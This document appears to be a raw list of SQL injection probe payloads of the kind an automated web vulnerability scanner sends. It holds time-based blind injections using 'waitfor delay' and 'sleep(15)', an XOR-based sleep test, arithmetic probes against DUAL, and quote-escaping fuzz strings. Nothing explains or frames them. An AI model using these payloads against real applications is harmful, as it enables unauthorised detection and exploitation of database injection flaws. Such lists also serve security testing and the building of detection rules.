555-1; waitfor delay '0:0:15' --

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select 198766*667891 from DUAL)

(select 198766*667891)

@@TdGDM

555????%2527%2522\'\"

555'"